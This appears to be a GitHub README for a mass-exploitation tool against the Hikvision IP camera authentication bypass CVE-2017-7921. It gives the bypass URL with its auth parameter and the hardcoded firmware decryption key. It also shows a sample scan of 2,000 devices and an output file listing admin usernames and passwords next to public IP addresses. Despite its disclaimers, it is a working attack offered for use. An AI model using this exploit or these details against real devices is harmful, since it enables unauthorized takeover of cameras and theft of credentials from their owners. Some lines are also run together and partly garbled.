
用于借助FOFA快速测试海康威视的CVE-2017-7921漏洞,并且给出登陆账号和密码,并输出json文件。
Security Statement: This tool is intended for authorized security research and vulnerability verification only.
Important: By using this tool you agree to the following terms
This project follows the GitHub Security Research Policy and the disclosure guidelines of the Hikvision Security Response Center.
Mass detection and verification tool for the Hikvision IP camera CVE-2017-7921 authentication bypass vulnerability, supporting automatic decryption of configuration files and credential extraction.
git clone https://github.com/[your-username]/CVE-2017-7921-Research-Toolkit.git
cd CVE-2017-7921-Research-Toolkit
pip install -r requirements.txt
requests>=2.28.0
pycryptodome>=3.15.0
tqdm>=4.64.0
Create a zc/ folder in the tool directory and place the device list in JSON format (one device object per line):
mkdir zc
Example File: devices_2025.json
{"city":"Lisbon","country":"PT","host":"109.50.152.186","link":"http://109.50.152.186:80"}
{"city":"Sao Paulo","country":"BR","host":"200.201.192.75","link":"http://200.201.192.75:8080"}
Field Descriptions:
python batch_decrypt.py
════════════════════════════════════════════════════════════════════════════════
Hikvision Camera Configuration File Vulnerability Batch Scanner
════════════════════════════════════════════════════════════════════════════════
Available JSON files:
════════════════════════════════════════════════════════════════════════════════
1. devices_2025.json (45,678 bytes)
════════════════════════════════════════════════════════════════════════════════
Select file number: 1
Selected file: devices_2025.json
Loading device data...
Total devices to scan: 2000
Enter number of concurrent threads (default: 5): 10
Concurrent threads: 10
Starting scan...
Total devices scanned: 2000
Vulnerable devices found: 127
Vulnerable devices saved to: vulnerable_devices.json
After scanning completes, vulnerable_devices.json is generated, containing information about all vulnerable devices.
Example Output:
[
{
"url": "http://109.50.152.186",
"config_url": "http://109.50.152.186/System/configurationFile?auth=YWRtaW46MTEK",
"username": "admin",
"password": "123456",
"city": "Lisbon",
"country": "PT",
"org": "ISP Telecom",
"status": "success"
}
]
/System/configurationFile?auth=YWRtaW46MTEK uses hardcoded credentials279977f62f6cfd2d91cd75b889ce0c9a is hardcoded in the firmware0x73, 0x8B, 0x55, 0x44)This software is intended solely for authorized security research and educational purposes. Users are responsible for ensuring compliance with all applicable laws.
Last Updated: 2025-01-29 | Version: v1.0.0 | CVE: CVE-2017-7921
| Field | Description | Required |
|---|
link | Device HTTP/HTTPS access URL | ✅ Yes |
city | City information | ❌ No |
country | Country code | ❌ No |
org | Organization/ISP information | ❌ No |